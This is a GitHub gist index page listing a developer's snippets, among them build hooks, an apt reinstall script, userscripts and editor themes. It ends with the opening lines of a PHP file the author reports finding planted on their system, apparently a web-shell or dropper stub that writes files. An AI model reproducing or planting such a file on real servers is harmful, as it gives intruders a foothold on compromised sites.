Skip to content

Instantly share code, notes, and snippets.

@lephuongbg
lephuongbg / hook-your_app.py
Last active May 20, 2021
Pyinstaller hook example to bundle WebKitGTK with a pywebview application
View hook-your_app.py
# Read more about pyinstaller hooks here:
# https://pyinstaller.readthedocs.io/en/stable/hooks.html
from PyInstaller.utils.hooks import get_gi_typelibs
binaries = []
datas = []
hiddenimports = []
_binaries, _datas, _hiddenimports = get_gi_typelibs("WebKit2", "4.0")
@lephuongbg
lephuongbg / reinstall-apt-package.sh
Created Sep 30, 2020
Reinstall apt package along with all of its dependencies
View reinstall-apt-package.sh
#!/bin/bash
PACKAGE_NAME=$1
LANGUAGE=en_US apt-cache depends --important --no-pre-depends --recurse --installed $PACKAGE_NAME \
| grep '[ |]Depends: [^<]' \
| cut -d: -f2 | tr -d ' ' | sort | uniq \
| xargs apt-get install --reinstall
@lephuongbg
lephuongbg / sns-with-delivery-status-logging.cloudformation.yml
Last active May 13, 2022
Cloudformation boilerplate for creating SNS Topic with delivery status logging
View sns-with-delivery-status-logging.cloudformation.yml
AWSTemplateFormatVersion: "2010-09-09"
Resources:
Topic:
Type: 'AWS::SNS::Topic'
Properties: {}
# The role required for SNS to write logs to Cloudwatch
TopicFeedbackRole:
Type: AWS::IAM::Role
Properties:
AssumeRolePolicyDocument:
@lephuongbg
lephuongbg / TeamsUnreadCounter.user.js
Last active Jun 18, 2020
Unread Counter for Microsoft Teams UserScript
View TeamsUnreadCounter.user.js
// ==UserScript==
// @name Unread Counter for Microsoft Teams
// @namespace https://github.com/lephuongbg
// @version 0.1.1
// @description Show an unread counter on Teams' favicon
// @author Le Phuong
// @match https://teams.microsoft.com/*
// @grant none
// @require https://cdnjs.cloudflare.com/ajax/libs/favico.js/0.3.10/favico.min.js
// ==/UserScript==
@lephuongbg
lephuongbg / bitbucket-highlight.user.js
Last active Feb 7, 2022
Bitbucket Highlighter User Script
View bitbucket-highlight.user.js
// ==UserScript==
// @name Bitbucket Highlighter
// @namespace https://github.com/lephuongbg
// @version 0.11
// @description Stop-gap solution for highlighting bitbucket pull request
// @author You
// @match https://bitbucket.org/*
// @grant GM_addStyle
// @grant GM_getResourceText
// @require https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.3.2/highlight.min.js
@lephuongbg
lephuongbg / call.sh
Last active Nov 28, 2018
Call Unity Launcher API with gdbus
View call.sh
# Set a badge count of 1 to Firefox launcher icon
gdbus emit --session -o / \
-s com.canonical.Unity.LauncherEntry.Update \
"application://firefox.desktop" "{'count':<1>,'count-visible':<true>}"
# Hide badge count
gdbus emit --session -o / \
-s com.canonical.Unity.LauncherEntry.Update \
"application://firefox.desktop" "{'count-visible':<false>}"
@lephuongbg
lephuongbg / scope-stats.js
Last active Jan 20, 2016
Chrome snippet to analyze AngularJS scopes
View scope-stats.js
var scopeStats = function() {
console.log('Start analyzing...');
var scopes = [], $rootScope = $('html').scope(), traverse;
scopes.elements = {};
traverse = function(scope, callback) {
callback(scope);
var child_scope = scope.$$childHead;
while (child_scope) {
traverse(child_scope, callback);
child_scope = child_scope.$$nextSibling;
@lephuongbg
lephuongbg / template.js
Created Jul 8, 2015
Fix Sharp comment tab
View template.js
jQuery('#tabpage_10').on('click', '.itemCommentsPagination a', function(e) {
e.preventDefault();
jQuery('#tabpage_10').fadeTo('fast', 0.7);
jQuery('#tabpage_10').load(this.href + ' #tabpage_10 .itemComments', function() {
jQuery('#tabpage_10').fadeTo('fast', 1);
});
});
@lephuongbg
lephuongbg / One (dark).kateschema
Created May 14, 2015
One (dark) - Kate Schema (ported from Atom.io editor theme)
View One (dark).kateschema
[Default Item Styles - Schema One (dark)]
Alert=ffc7626b,ffc7626b,1,,,,fffae9eb,-,,---
Annotation=ff7f8c8d,ff7f8c8d,,,,,-,-,,---
Attribute=ffe5c17c,ffe5c17c,,,,,-,-,,---
Base-N Integer=ffe5c17c,ffe5c17c,,,,,-,-,,---
Built-in=ffabb2c0,ffabb2c0,,,,,-,-,,---
Character=ff97c378,ff97c378,,,,,-,-,,---
Comment=ff4f5562,ff4f5562,,,,,-,-,,---
Comment Variable=ff7f8c8d,ff7f8c8d,,,,,-,-,,---
Constant=ffabb2c0,ffabb2c0,1,,,,-,-,,---
@lephuongbg
lephuongbg / HsoGFnxIz.php
Created Mar 4, 2015
A malicous file appears on my system
View HsoGFnxIz.php
<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
function file_put_contents($filename, $data) {
$f = @fopen($filename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);